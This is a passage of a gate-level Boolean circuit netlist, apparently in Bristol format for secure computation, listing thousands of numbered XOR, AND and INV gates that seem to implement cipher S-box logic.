16620 35435 XOR +2 1 16677 16656 16616 XOR +2 1 16645 16616 35440 XOR +2 1 35440 35444 7087 XOR +1 1 35435 6866 INV +1 1 7087 6867 INV +2 1 6867 35447 6868 XOR +2 1 6868 6869 7157 XOR +2 1 6867 35446 6864 XOR +2 1 35441 6866 6865 XOR +2 1 6864 6865 7158 XOR +2 1 7087 32859 6862 XOR +2 1 19737 19738 32695 XOR +2 1 19734 32695 19714 XOR +2 1 19730 19714 19680 XOR +1 1 19680 19677 INV +2 1 19735 19714 19674 XOR +2 1 19703 19674 35425 XOR +2 1 35425 35429 7081 XOR +2 1 7081 35423 6956 XOR +2 1 7100 7081 6990 XOR +2 1 19677 19678 35422 XOR +2 1 35422 35426 7112 XOR +2 1 7112 32787 6995 XOR +2 1 32695 19712 35424 XOR +2 1 35424 35428 7102 XOR +1 1 35424 6950 INV +2 1 7081 6950 6949 XOR +2 1 23212 23213 32720 XOR +2 1 23209 32720 23189 XOR +2 1 23210 23189 23149 XOR +2 1 23205 23189 23155 XOR +1 1 23155 23152 INV +2 1 23152 23153 35408 XOR +2 1 35393 35408 7127 XOR +1 1 7127 6989 INV +2 1 6989 32928 7058 XOR +2 1 23178 23149 35412 XOR +2 1 35396 35412 7092 XOR +1 1 7092 6988 INV +2 1 6988 35398 6987 XOR +2 1 7092 35394 6833 XOR +2 1 6833 6834 7171 XOR +2 1 32720 23187 35410 XOR +2 1 35410 16594 6953 XOR +1 1 14648 32889 INV +2 1 14649 32889 7057 XOR +1 1 14650 32890 INV +1 1 14651 32891 INV +1 1 16736 32927 INV +2 1 32883 32927 6863 XOR +2 1 6862 6863 7159 XOR +1 1 19792 32965 INV +2 1 35425 32965 6945 XOR +1 1 19793 32966 INV +2 1 32966 32787 7115 XOR +2 1 7081 32966 6959 XOR +1 1 19794 32967 INV +2 1 32967 32788 7119 XOR +2 1 7119 7091 6997 XOR +1 1 19791 32972 INV +2 1 32972 32789 7097 XOR +2 1 7097 35428 6993 XOR +2 1 7100 32972 6962 XOR +1 1 20208 32977 INV +2 1 20209 32977 6567 XOR +2 1 32977 6545 35189 XOR +2 1 6566 6567 6565 XOR +2 1 35189 898 33763 XOR +2 1 33763 33765 20668 XOR +2 1 20668 20763 20748 XOR +2 1 20670 20668 20630 XOR +2 1 20670 33763 20629 XOR +2 1 20763 20748 20739 AND +2 1 32977 32783 6623 XOR +2 1 6623 6611 6581 XOR +2 1 6623 35259 6557 XOR +2 1 6557 6558 35181 XOR +2 1 35181 906 33755 XOR +2 1 33755 33757 19417 XOR +2 1 19417 19512 19497 XOR +2 1 19419 19417 19379 XOR +2 1 19419 33755 19378 XOR +2 1 19512 19497 19488 AND +2 1 6654 6623 6570 XOR +2 1 33053 6570 35173 XOR +2 1 35173 914 33747 XOR +2 1 33747 33749 17888 XOR +2 1 32946 6581 35166 XOR +2 1 35166 921 33740 XOR +2 1 33738 33740 21782 XOR +2 1 33734 33740 21786 XOR +2 1 21780 21786 21868 XOR +2 1 33739 21786 21871 XOR +2 1 21782 21780 21742 XOR +2 1 21782 33739 21741 XOR +2 1 33734 21741 21870 XOR +2 1 21870 33734 21856 AND +1 1 6565 35174 INV +2 1 35174 913 33748 XOR +2 1 33746 33748 17890 XOR +2 1 17890 17888 17850 XOR +2 1 17890 33747 17849 XOR +1 1 20210 32978 INV +2 1 32978 32947 6643 XOR +2 1 6643 6606 6574 XOR +2 1 6687 32978 6577 XOR +2 1 35248 6574 35170 XOR +2 1 35170 917 33744 XOR +2 1 6606 32978 6397 XOR +2 1 6397 6398 35162 XOR +2 1 35162 925 33736 XOR +2 1 33744 33746 17983 XOR +2 1 17888 17983 17968 XOR +2 1 33745 33744 17864 XOR +2 1 33749 33744 17980 XOR +2 1 17983 17968 17959 AND +2 1 33736 33738 21875 XOR +2 1 21780 21875 21860 XOR +2 1 33737 33736 21756 XOR +2 1 33741 33736 21872 XOR +2 1 21875 21860 21851 AND +2 1 6683 6643 35177 XOR +2 1 35177 910 33751 XOR +2 1 33751 33753 19416 XOR +2 1 33752 19416 19418 XOR +2 1 33756 19418 19499 XOR +2 1 33755 19418 19496 XOR +2 1 19416 19510 19502 XOR +2 1 33751 33752 19433 XOR +2 1 19510 19433 19506 XOR +2 1 19416 19379 19500 XOR +2 1 33757 33751 19511 XOR +2 1 19502 19506 19495 AND +2 1 19495 19419 19422 XOR +2 1 19511 19496 19492 AND +2 1 19492 19417 19421 XOR +2 1 19510 19499 19489 AND +2 1 19489 19418 19420 XOR +2 1 19422 19420 19426 XOR +2 1 33757 19426 19431 XOR +2 1 19488 19489 19392 XOR +2 1 19392 19393 19439 XOR +2 1 19439 19421 19438 XOR +2 1 19509 19500 19487 AND +1 1 6643 6552 INV +2 1 6552 6638 6550 XOR +2 1 6550 6551 35185 XOR +2 1 35185 902 33759 XOR +2 1 33759 33761 20667 XOR +2 1 33760 20667 20669 XOR +2 1 33764 20669 20750 XOR +2 1 33763 20669 20747 XOR +2 1 20667 20761 20753 XOR +2 1 33759 33760 20684 XOR +2 1 20761 20684 20757 XOR +2 1 20667 20630 20751 XOR +2 1 33765 33759 20762 XOR +2 1 20753 20757 20746 AND +2 1 20746 20670 20673 XOR +2 1 20762 20747 20743 AND +2 1 20743 20668 20672 XOR +2 1 20761 20750 20740 AND +2 1 20740 20669 20671 XOR +2 1 20673 20671 20677 XOR +2 1 33765 20677 20682 XOR +2 1 20739 20740 20643 XOR +2 1 20643 20644 20690 XOR +2 1 20690 20672 20689 XOR +2 1 20760 20751 20738 AND +1 1 20211 32979 INV +2 1 32979 32948 6651 XOR +2 1 32979 6578 35168 XOR +2 1 35168 919 33742 XOR +2 1 6651 6618 6576 XOR +2 1 6576 6577 6575 XOR +1 1 6575 35169 INV +2 1 35169 918 33743 XOR +2 1 33743 33745 17887 XOR +2 1 33744 17887 17889 XOR +2 1 33748 17889 17970 XOR +2 1 33747 17889 17967 XOR +2 1 33742 33748 17894 XOR +2 1 17894 17889 17969 XOR +2 1 17888 17894 17976 XOR +2 1 17887 17981 17973 XOR +2 1 33742 17973 17972 XOR +2 1 33743 33744 17904 XOR +2 1 17904 17976 17974 XOR +2 1 17981 17904 17977 XOR +2 1 33747 17894 17979 XOR +2 1 33743 17979 17975 XOR +2 1 17887 17850 17971 XOR +2 1 33742 17849 17978 XOR +2 1 33749 33743 17982 XOR +2 1 17973 17977 17966 AND +2 1 17966 17890 17893 XOR +2 1 17974 17972 17965 AND +2 1 17959 17965 17911 XOR +2 1 17978 33742 17964 AND +2 1 17982 17967 17963 AND +2 1 17963 17888 17892 XOR +2 1 17979 17975 17962 AND +2 1 17976 17969 17961 AND +2 1 17981 17970 17960 AND +2 1 17960 17889 17891 XOR +2 1 17893 17891 17897 XOR +2 1 33749 17897 17902 XOR +2 1 17911 17902 17957 XOR +2 1 17959 17960 17863 XOR +2 1 17863 17864 17910 XOR +2 1 17910 17892 17909 XOR +2 1 17962 17909 17956 XOR +2 1 17980 17971 17958 AND +2 1 17958 17961 17912 XOR +2 1 17958 17964 17916 XOR +2 1 17916 17888 17903 XOR +2 1 17911 17903 17954 XOR +2 1 17959 17912 17906 XOR +2 1 17892 17912 17866 XOR +2 1 17866 17891 17955 XOR +2 1 17897 17916 17865 XOR +2 1 33747 17865 17908 XOR +2 1 17962 17906 17862 XOR +2 1 33743 17862 17949 XOR +2 1 17957 17956 17953 AND +2 1 17953 17908 17948 XOR +2 1 17953 17955 17952 XOR +2 1 17954 17952 17951 AND +2 1 17951 17908 17950 XOR +2 1 17951 17963 17857 XOR +2 1 17857 17893 17853 XOR +2 1 33749 17853 17856 XOR +2 1 17951 17902 17854 XOR +2 1 33747 17853 17852 XOR +2 1 17948 17949 17947 AND +2 1 17947 17955 17946 XOR +2 1 17953 17947 17945 XOR +2 1 17947 17906 17861 XOR +2 1 17947 17964 17860 XOR +2 1 17860 17961 17855 XOR +2 1 17855 17856 17938 XOR +2 1 17955 17945 17944 AND +2 1 17944 17952 17942 XOR +2 1 17944 17962 17915 XOR +2 1 17915 17909 17936 XOR +2 1 33743 17915 17898 XOR +2 1 17898 17861 17943 XOR +2 1 17950 17942 17941 AND +2 1 17941 17911 17901 XOR +2 1 17901 17903 17940 XOR +2 1 17941 17965 17859 XOR +2 1 17898 17859 17851 XOR +2 1 17888 17851 17858 XOR +2 1 17855 17858 17939 XOR +2 1 17901 17854 17937 XOR +2 1 17851 17852 17935 XOR +2 1 17936 17973 17934 AND +2 1 17943 17972 17933 AND +2 1 17946 33742 17932 AND +2 1 17932 17934 17914 XOR +2 1 17937 17967 17931 AND +2 1 17940 17979 17930 AND +2 1 17950 17969 17929 AND +2 1 17929 17930 17868 XOR +2 1 17938 17970 17928 AND +2 1 17935 17968 17927 AND +2 1 17927 17930 17883 XOR +1 1 17883 17880 INV +2 1 17927 17928 17879 XOR +2 1 17939 17971 17926 AND +2 1 17936 17977 17925 AND +2 1 17943 17974 17924 AND +2 1 17946 17978 17923 AND +2 1 17937 17982 17922 AND +2 1 17922 17926 17899 XOR +2 1 17931 17922 17884 XOR +1 1 17899 17877 INV +2 1 17940 17975 17921 AND +2 1 17929 17921 17886 XOR +2 1 17950 17976 17920 AND +2 1 17877 17920 17876 XOR +2 1 17876 17914 17872 XOR +2 1 17938 17981 17919 AND +2 1 17919 17872 17875 XOR +2 1 17935 17983 17918 AND +2 1 17918 17919 17913 XOR +2 1 17924 17913 17895 XOR +2 1 17925 17895 17896 XOR +2 1 17933 17896 17900 XOR +2 1 17934 17900 17905 XOR +2 1 17886 17913 17882 XOR +2 1 17914 17882 17885 XOR +2 1 17884 17885 17987 XOR +2 1 17877 17882 17881 XOR +2 1 17880 17881 17986 XOR +2 1 32966 17986 6968 XOR +2 1 17905 17879 17985 XOR +2 1 17895 17872 17871 XOR +2 1 17932 17900 17869 XOR +2 1 17868 17869 35419 XOR +2 1 35414 35419 7114 XOR +2 1 7114 7112 6955 XOR +1 1 7114 6978 INV +2 1 17939 17980 17917 AND +2 1 17928 17917 17878 XOR +1 1 17878 17874 INV +2 1 17874 17875 17984 XOR +1 1 17986 35417 INV +2 1 32962 35417 7121 XOR +2 1 6978 7102 6975 XOR +2 1 7121 7119 6958 XOR +2 1 6600 32979 6354 XOR +2 1 6354 6355 6677 XOR +2 1 6955 6956 35324 XOR +2 1 35324 836 33825 XOR +2 1 6651 6588 6553 XOR +2 1 33056 6553 35184 XOR +2 1 35184 903 33758 XOR +2 1 33758 20753 20752 XOR +2 1 33758 33764 20674 XOR +2 1 20674 20669 20749 XOR +2 1 20668 20674 20756 XOR +2 1 20684 20756 20754 XOR +2 1 33763 20674 20759 XOR +2 1 33759 20759 20755 XOR +2 1 33758 20629 20758 XOR +2 1 20754 20752 20745 AND +2 1 20739 20745 20691 XOR +2 1 20691 20682 20737 XOR +2 1 20758 33758 20744 AND +2 1 20738 20744 20696 XOR +2 1 20696 20668 20683 XOR +2 1 20691 20683 20734 XOR +2 1 20677 20696 20645 XOR +2 1 33763 20645 20688 XOR +2 1 20759 20755 20742 AND +2 1 20742 20689 20736 XOR +2 1 20756 20749 20741 AND +2 1 20738 20741 20692 XOR +2 1 20739 20692 20686 XOR +2 1 20672 20692 20646 XOR +2 1 20646 20671 20735 XOR +2 1 20742 20686 20642 XOR +2 1 33759 20642 20729 XOR +2 1 20737 20736 20733 AND +2 1 20733 20688 20728 XOR +2 1 20733 20735 20732 XOR +2 1 20734 20732 20731 AND +2 1 20731 20688 20730 XOR +2 1 20731 20743 20637 XOR +2 1 20637 20673 20633 XOR +2 1 33765 20633 20636 XOR +2 1 20731 20682 20634 XOR +2 1 33763 20633 20632 XOR +2 1 20728 20729 20727 AND +2 1 20727 20735 20726 XOR +2 1 20733 20727 20725 XOR +2 1 20727 20686 20641 XOR +2 1 20727 20744 20640 XOR +2 1 20640 20741 20635 XOR +2 1 20635 20636 20718 XOR +2 1 20735 20725 20724 AND +2 1 20724 20732 20722 XOR +2 1 20724 20742 20695 XOR +2 1 20695 20689 20716 XOR +2 1 33759 20695 20678 XOR +2 1 20678 20641 20723 XOR +2 1 20730 20722 20721 AND +2 1 20721 20691 20681 XOR +2 1 20681 20683 20720 XOR +2 1 20721 20745 20639 XOR +2 1 20678 20639 20631 XOR +2 1 20668 20631 20638 XOR +2 1 20635 20638 20719 XOR +2 1 20681 20634 20717 XOR +2 1 20631 20632 20715 XOR +2 1 20716 20753 20714 AND +2 1 20723 20752 20713 AND +2 1 20726 33758 20712 AND +2 1 20712 20714 20694 XOR +2 1 20717 20747 20711 AND +2 1 20720 20759 20710 AND +2 1 20730 20749 20709 AND +2 1 20709 20710 20648 XOR +2 1 20718 20750 20708 AND +2 1 20715 20748 20707 AND +2 1 20707 20710 20663 XOR +1 1 20663 20660 INV +2 1 20707 20708 20659 XOR +2 1 20719 20751 20706 AND +2 1 20716 20757 20705 AND +2 1 20723 20754 20704 AND +2 1 20726 20758 20703 AND +2 1 20717 20762 20702 AND +2 1 20702 20706 20679 XOR +2 1 20711 20702 20664 XOR +1 1 20679 20657 INV +2 1 20720 20755 20701 AND +2 1 20709 20701 20666 XOR +2 1 20730 20756 20700 AND +2 1 20657 20700 20656 XOR +2 1 20656 20694 20652 XOR +2 1 20718 20761 20699 AND +2 1 20699 20652 20655 XOR +2 1 20715 20763 20698 AND +2 1 20698 20699 20693 XOR +2 1 20704 20693 20675 XOR +2 1 20705 20675 20676 XOR +2 1 20713 20676 20680 XOR +2 1 20714 20680 20685 XOR +2 1 20666 20693 20662 XOR +2 1 20694 20662 20665 XOR +2 1 20664 20665 20767 XOR +2 1 20657 20662 20661 XOR +2 1 20660 20661 20766 XOR +2 1 20685 20659 20765 XOR +2 1 20675 20652 20651 XOR +2 1 20712 20680 20649 XOR +2 1 20648 20649 35463 XOR +2 1 35450 35463 7104 XOR +2 1 20719 20760 20697 AND +2 1 20708 20697 20658 XOR +1 1 20658 20654 INV +2 1 20654 20655 20764 XOR +2 1 7121 7112 6981 XOR +2 1 35413 6981 35307 XOR +2 1 17986 32963 6836 XOR +2 1 6835 6836 7170 XOR +2 1 7170 7115 35298 XOR +2 1 35298 862 33799 XOR +1 1 35419 6840 INV +2 1 35423 6840 6852 XOR +2 1 6840 35413 6839 XOR +2 1 6838 6839 7169 XOR +2 1 7169 7107 35300 XOR +2 1 35307 853 33808 XOR +2 1 6958 6959 35322 XOR +2 1 35322 838 33823 XOR +2 1 33823 33825 17192 XOR +2 1 35300 860 33801 XOR +2 1 33799 33801 19277 XOR +2 1 6651 6603 6563 XOR +2 1 6677 6618 35161 XOR +2 1 35161 926 33735 XOR +2 1 33735 33737 21779 XOR +2 1 33736 21779 21781 XOR +2 1 33740 21781 21862 XOR +2 1 33739 21781 21859 XOR +2 1 21786 21781 21861 XOR +2 1 33735 21871 21867 XOR +2 1 21779 21873 21865 XOR +2 1 33734 21865 21864 XOR +2 1 33735 33736 21796 XOR +2 1 21796 21868 21866 XOR +2 1 21873 21796 21869 XOR +2 1 21779 21742 21863 XOR +2 1 33741 33735 21874 XOR +2 1 21865 21869 21858 AND +2 1 21858 21782 21785 XOR +2 1 21866 21864 21857 AND +2 1 21851 21857 21803 XOR +2 1 21874 21859 21855 AND +2 1 21855 21780 21784 XOR +2 1 21871 21867 21854 AND +2 1 21868 21861 21853 AND +2 1 21873 21862 21852 AND +2 1 21852 21781 21783 XOR +2 1 21785 21783 21789 XOR +2 1 33741 21789 21794 XOR +2 1 21803 21794 21849 XOR +2 1 21851 21852 21755 XOR +2 1 21755 21756 21802 XOR +2 1 21802 21784 21801 XOR +2 1 21854 21801 21848 XOR +2 1 21872 21863 21850 AND +2 1 21850 21853 21804 XOR +2 1 21850 21856 21808 XOR +2 1 21808 21780 21795 XOR +2 1 21803 21795 21846 XOR +2 1 21851 21804 21798 XOR +2 1 21784 21804 21758 XOR +2 1 21758 21783 21847 XOR +2 1 21789 21808 21757 XOR +2 1 33739 21757 21800 XOR +2 1 21854 21798 21754 XOR +2 1 33735 21754 21841 XOR +2 1 21849 21848 21845 AND +2 1 21845 21800 21840 XOR +2 1 21845 21847 21844 XOR +2 1 21846 21844 21843 AND +2 1 21843 21800 21842 XOR +2 1 21843 21855 21749 XOR +2 1 21749 21785 21745 XOR +2 1 33741 21745 21748 XOR +2 1 21843 21794 21746 XOR +2 1 33739 21745 21744 XOR +2 1 21840 21841 21839 AND +2 1 21839 21847 21838 XOR +2 1 21845 21839 21837 XOR +2 1 21839 21798 21753 XOR +2 1 21839 21856 21752 XOR +2 1 21752 21853 21747 XOR +2 1 21747 21748 21830 XOR +2 1 21847 21837 21836 AND +2 1 21836 21844 21834 XOR +2 1 21836 21854 21807 XOR +2 1 21807 21801 21828 XOR +2 1 33735 21807 21790 XOR +2 1 21790 21753 21835 XOR +2 1 21842 21834 21833 AND +2 1 21833 21803 21793 XOR +2 1 21793 21795 21832 XOR +2 1 21833 21857 21751 XOR +2 1 21790 21751 21743 XOR +2 1 21780 21743 21750 XOR +2 1 21747 21750 21831 XOR +2 1 21793 21746 21829 XOR +2 1 21743 21744 21827 XOR +2 1 21828 21865 21826 AND +2 1 21835 21864 21825 AND +2 1 21838 33734 21824 AND +2 1 21824 21826 21806 XOR +2 1 21829 21859 21823 AND +2 1 21832 21871 21822 AND +2 1 21842 21861 21821 AND +2 1 21821 21822 21760 XOR +2 1 21830 21862 21820 AND +2 1 21827 21860 21819 AND +2 1 21819 21822 21775 XOR +1 1 21775 21772 INV +2 1 21819 21820 21771 XOR +2 1 21831 21863 21818 AND +2 1 21828 21869 21817 AND +2 1 21835 21866 21816 AND +2 1 21838 21870 21815 AND +2 1 21829 21874 21814 AND +2 1 21814 21818 21791 XOR +2 1 21823 21814 21776 XOR +1 1 21791 21769 INV +2 1 21832 21867 21813 AND +2 1 21821 21813 21778 XOR +2 1 21842 21868 21812 AND +2 1 21769 21812 21768 XOR +2 1 21768 21806 21764 XOR +2 1 21830 21873 21811 AND +2 1 21811 21764 21767 XOR +2 1 21827 21875 21810 AND +2 1 21810 21811 21805 XOR +2 1 21816 21805 21787 XOR +2 1 21817 21787 21788 XOR +2 1 21825 21788 21792 XOR +2 1 21826 21792 21797 XOR +2 1 21778 21805 21774 XOR +2 1 21806 21774 21777 XOR +2 1 21776 21777 21879 XOR +2 1 21769 21774 21773 XOR +2 1 21772 21773 21878 XOR +2 1 21797 21771 21877 XOR +2 1 21787 21764 21763 XOR +2 1 21824 21792 21761 XOR +2 1 21760 21761 35431 XOR +2 1 35431 35436 7131 XOR +2 1 7158 7131 35348 XOR +2 1 21831 21872 21809 AND +2 1 21820 21809 21770 XOR +1 1 21770 21766 INV +2 1 21766 21767 21876 XOR +2 1 35437 35431 6861 XOR +2 1 32786 6563 35176 XOR +2 1 35176 911 33750 XOR +2 1 33750 19502 19501 XOR +2 1 33750 33756 19423 XOR +2 1 19423 19418 19498 XOR +2 1 19417 19423 19505 XOR +2 1 19433 19505 19503 XOR +2 1 33755 19423 19508 XOR +2 1 33751 19508 19504 XOR +2 1 33750 19378 19507 XOR +2 1 19503 19501 19494 AND +2 1 19488 19494 19440 XOR +2 1 19440 19431 19486 XOR +2 1 19507 33750 19493 AND +2 1 19487 19493 19445 XOR +2 1 19445 19417 19432 XOR +2 1 19440 19432 19483 XOR +2 1 19426 19445 19394 XOR +2 1 33755 19394 19437 XOR +2 1 19508 19504 19491 AND +2 1 19491 19438 19485 XOR +2 1 19505 19498 19490 AND +2 1 19487 19490 19441 XOR +2 1 19488 19441 19435 XOR +2 1 19421 19441 19395 XOR +2 1 19395 19420 19484 XOR +2 1 19491 19435 19391 XOR +2 1 33751 19391 19478 XOR +2 1 19486 19485 19482 AND +2 1 19482 19437 19477 XOR +2 1 19482 19484 19481 XOR +2 1 19483 19481 19480 AND +2 1 19480 19437 19479 XOR +2 1 19480 19492 19386 XOR +2 1 19386 19422 19382 XOR +2 1 33757 19382 19385 XOR +2 1 19480 19431 19383 XOR +2 1 33755 19382 19381 XOR +2 1 19477 19478 19476 AND +2 1 19476 19484 19475 XOR +2 1 19482 19476 19474 XOR +2 1 19476 19435 19390 XOR +2 1 19476 19493 19389 XOR +2 1 19389 19490 19384 XOR +2 1 19384 19385 19467 XOR +2 1 19484 19474 19473 AND +2 1 19473 19481 19471 XOR +2 1 19473 19491 19444 XOR +2 1 19444 19438 19465 XOR +2 1 33751 19444 19427 XOR +2 1 19427 19390 19472 XOR +2 1 19479 19471 19470 AND +2 1 19470 19440 19430 XOR +2 1 19430 19432 19469 XOR +2 1 19470 19494 19388 XOR +2 1 19427 19388 19380 XOR +2 1 19417 19380 19387 XOR +2 1 19384 19387 19468 XOR +2 1 19430 19383 19466 XOR +2 1 19380 19381 19464 XOR +2 1 19465 19502 19463 AND +2 1 19472 19501 19462 AND +2 1 19475 33750 19461 AND +2 1 19461 19463 19443 XOR +2 1 19466 19496 19460 AND +2 1 19469 19508 19459 AND +2 1 19479 19498 19458 AND +2 1 19458 19459 19397 XOR +2 1 19467 19499 19457 AND +2 1 19464 19497 19456 AND +2 1 19456 19459 19412 XOR +1 1 19412 19409 INV +2 1 19456 19457 19408 XOR +2 1 19468 19500 19455 AND +2 1 19465 19506 19454 AND +2 1 19472 19503 19453 AND +2 1 19475 19507 19452 AND +2 1 19466 19511 19451 AND +2 1 19451 19455 19428 XOR +2 1 19460 19451 19413 XOR +1 1 19428 19406 INV +2 1 19469 19504 19450 AND +2 1 19458 19450 19415 XOR +2 1 19479 19505 19449 AND +2 1 19406 19449 19405 XOR +2 1 19405 19443 19401 XOR +2 1 19467 19510 19448 AND +2 1 19448 19401 19404 XOR +2 1 19464 19512 19447 AND +2 1 19447 19448 19442 XOR +2 1 19453 19442 19424 XOR +2 1 19454 19424 19425 XOR +2 1 19462 19425 19429 XOR +2 1 19463 19429 19434 XOR +2 1 19415 19442 19411 XOR +2 1 19443 19411 19414 XOR +2 1 19413 19414 19516 XOR +2 1 19406 19411 19410 XOR +2 1 19409 19410 19515 XOR +2 1 19434 19408 19514 XOR +2 1 19424 19401 19400 XOR +2 1 19461 19429 19398 XOR +2 1 19397 19398 35405 XOR +2 1 35405 35409 7139 XOR +2 1 7139 6989 6986 XOR +2 1 7154 7139 35276 XOR +2 1 6986 6987 35268 XOR +2 1 35268 892 33769 XOR +2 1 19468 19509 19446 AND +2 1 19457 19446 19407 XOR +1 1 19407 19403 INV +2 1 19403 19404 19513 XOR +1 1 19515 35403 INV +2 1 32928 35403 7126 XOR +2 1 7140 7139 7004 XOR +1 1 7004 7002 INV +2 1 35276 884 33777 XOR +2 1 7127 7126 7021 XOR +2 1 35397 7021 35283 XOR +2 1 35283 877 33784 XOR +2 1 19515 32887 6873 XOR +2 1 35405 35398 6871 XOR +2 1 35348 812 33849 XOR +1 1 7131 6897 INV +2 1 6897 7130 6895 XOR +2 1 6897 7111 6920 XOR +2 1 17930 17931 32682 XOR +2 1 32682 17905 35420 XOR +2 1 35420 35414 6842 XOR +2 1 6841 6842 7168 XOR +2 1 7168 7102 35301 XOR +2 1 35301 859 33802 XOR +2 1 35415 35420 7110 XOR +1 1 7110 6951 INV +2 1 6951 7107 6948 XOR +2 1 6948 6949 35325 XOR +2 1 35325 835 33826 XOR +2 1 7110 7097 6974 XOR +2 1 32968 6974 35310 XOR +2 1 35310 850 33811 XOR +2 1 6950 35420 6965 XOR +2 1 17927 32682 17907 XOR +2 1 17923 17907 17873 XOR +1 1 17873 17870 INV +2 1 17870 17871 35418 XOR +2 1 35413 35418 7117 XOR +2 1 7117 7115 6957 XOR +2 1 35418 32962 6996 XOR +2 1 17928 17907 17867 XOR +2 1 17896 17867 35421 XOR +2 1 35421 35425 7089 XOR +2 1 35416 35421 7082 XOR +1 1 7082 6977 INV +2 1 7082 32790 6944 XOR +2 1 6944 6945 35328 XOR +2 1 6977 35414 6980 XOR +2 1 6977 32962 6984 XOR +1 1 7117 6969 INV +2 1 6969 7107 6979 XOR +2 1 6969 35426 6967 XOR +2 1 6967 6968 35315 XOR +2 1 35422 6957 35323 XOR +2 1 35323 837 33824 XOR +2 1 33824 17192 17194 XOR +2 1 33823 33824 17209 XOR +2 1 33824 33826 17288 XOR +2 1 33825 33824 17169 XOR +2 1 6995 6996 35299 XOR +2 1 35299 861 33800 XOR +2 1 33800 19277 19279 XOR +2 1 33799 33800 19294 XOR +2 1 33800 33802 19373 XOR +2 1 33801 33800 19254 XOR +2 1 6979 6980 35308 XOR +2 1 35421 6990 35304 XOR +2 1 35304 856 33805 XOR +2 1 33802 33805 19371 XOR +2 1 19371 19294 19367 XOR +2 1 19277 19371 19363 XOR +2 1 33805 33799 19372 XOR +2 1 33805 33800 19370 XOR +2 1 19363 19367 19356 AND +2 1 35328 832 33829 XOR +2 1 33826 33829 17286 XOR +2 1 17286 17209 17282 XOR +2 1 17192 17286 17278 XOR +2 1 33829 33823 17287 XOR +2 1 33829 33824 17285 XOR +2 1 17278 17282 17271 AND +2 1 6977 35415 6976 XOR +2 1 6975 6976 35309 XOR +2 1 35315 845 33816 XOR +2 1 35309 851 33810 XOR +2 1 33808 33810 16454 XOR +2 1 7119 7082 6985 XOR +2 1 32963 6985 35305 XOR +1 1 7089 6853 INV +2 1 6853 35428 6851 XOR +2 1 6851 6852 7163 XOR +2 1 7163 7110 35317 XOR +2 1 35317 843 33818 XOR +2 1 33816 33818 13811 XOR +2 1 7089 35427 6849 XOR +2 1 35422 35418 6850 XOR +2 1 6849 6850 7164 XOR +2 1 7164 7114 35316 XOR +2 1 35316 844 33817 XOR +2 1 33817 33816 13691 XOR +2 1 7089 32787 6847 XOR +2 1 35305 855 33806 XOR +2 1 19459 19460 32693 XOR +2 1 19456 32693 19436 XOR +2 1 19457 19436 19396 XOR +2 1 19452 19436 19402 XOR +1 1 19402 19399 INV +2 1 19399 19400 35404 XOR +1 1 35404 6880 INV +2 1 35405 6880 6879 XOR +2 1 35397 35404 7124 XOR +2 1 19425 19396 35407 XOR +2 1 35402 35407 7086 XOR +2 1 7086 35410 6870 XOR +2 1 6870 6871 7156 XOR +2 1 7156 7140 35285 XOR +2 1 35285 875 33786 XOR +2 1 33784 33786 13951 XOR +2 1 35407 35412 7084 XOR +2 1 32886 6880 7059 XOR +2 1 7058 7059 35275 XOR +2 1 35275 885 33776 XOR +2 1 33777 33776 22868 XOR +1 1 7086 7020 INV +2 1 7020 35409 7019 XOR +2 1 7020 32928 7024 XOR +2 1 7135 7084 7026 XOR +2 1 35396 7026 35280 XOR +2 1 35280 880 33781 XOR +2 1 33781 33776 22984 XOR +1 1 7124 7007 INV +2 1 7007 35393 7005 XOR +2 1 7149 7007 7018 XOR +2 1 7018 7019 35284 XOR +2 1 35284 876 33785 XOR +2 1 33785 33784 13831 XOR +2 1 32693 19434 35406 XOR +2 1 35406 35410 7136 XOR +2 1 7171 7136 35269 XOR +2 1 35406 35399 7014 XOR +2 1 35269 891 33770 XOR +2 1 7031 7136 7029 XOR +2 1 7137 7136 7001 XOR +2 1 20710 20711 32702 XOR +2 1 32702 20685 35464 XOR +2 1 35460 35464 7095 XOR +2 1 7104 7095 7075 XOR +2 1 35464 6883 7073 XOR +2 1 20707 32702 20687 XOR +2 1 20703 20687 20653 XOR +1 1 20653 20650 INV +2 1 20650 20651 35462 XOR +2 1 35458 35462 7096 XOR +2 1 20708 20687 20647 XOR +2 1 20676 20647 35465 XOR +2 1 35453 35465 7090 XOR +2 1 35461 35465 7078 XOR +1 1 7078 7175 INV +2 1 7175 35450 7038 XOR +2 1 7175 32878 7041 XOR +2 1 7090 32891 6843 XOR +2 1 7078 35463 6884 XOR +2 1 6884 6885 7150 XOR +2 1 7096 32890 6886 XOR +2 1 7090 35449 6845 XOR +2 1 35463 35462 6846 XOR +2 1 6845 6846 7166 XOR +2 1 21822 21823 32710 XOR +2 1 32710 21797 35432 XOR +2 1 16733 35432 6938 XOR +2 1 6937 6938 35334 XOR +2 1 35334 826 33835 XOR +2 1 35432 35437 7123 XOR +1 1 7123 6894 INV +2 1 6894 7120 6892 XOR +2 1 7123 7105 6919 XOR +2 1 7157 7123 35349 XOR +2 1 21819 32710 21799 XOR +2 1 21815 21799 21765 XOR +1 1 21765 21762 INV +2 1 21762 21763 35430 XOR +2 1 35430 35435 7138 XOR +2 1 21820 21799 21759 XOR +2 1 21788 21759 35433 XOR +2 1 35433 35440 7083 XOR +2 1 35433 35448 7088 XOR +2 1 7142 7088 6943 XOR +2 1 7088 35446 6860 XOR +2 1 32927 6943 35329 XOR +2 1 35329 831 33830 XOR +2 1 7138 7134 6898 XOR +2 1 35441 6898 35355 XOR +2 1 35355 805 33856 XOR +2 1 6860 6861 7160 XOR +2 1 7160 7111 35333 XOR +2 1 35333 827 33834 XOR +1 1 7088 6856 INV +2 1 6856 32860 6854 XOR +2 1 6856 35445 6857 XOR +2 1 7094 7083 6889 XOR +2 1 35444 6889 35360 XOR +2 1 35360 800 33861 XOR +2 1 6859 35430 6858 XOR +2 1 6857 6858 7161 XOR +2 1 7161 7120 35332 XOR +2 1 35332 828 33833 XOR +2 1 7142 7083 6928 XOR +1 1 7138 6913 INV +2 1 6913 35445 6911 XOR +2 1 6911 6912 35347 XOR +2 1 35347 813 33848 XOR +2 1 33849 33848 7471 XOR +2 1 6913 7120 6922 XOR +2 1 33861 33856 27317 XOR +2 1 35308 852 33809 XOR +2 1 33809 33808 16335 XOR +1 1 17985 32937 INV +2 1 32937 32965 7099 XOR +2 1 7099 32790 6991 XOR +2 1 7099 7097 6946 XOR +2 1 32961 6946 35327 XOR +2 1 35327 833 33828 XOR +2 1 33828 17194 17275 XOR +2 1 33826 33828 17195 XOR +2 1 17271 17195 17198 XOR +2 1 17286 17275 17265 AND +2 1 17265 17194 17196 XOR +2 1 17198 17196 17202 XOR +2 1 33829 17202 17207 XOR +2 1 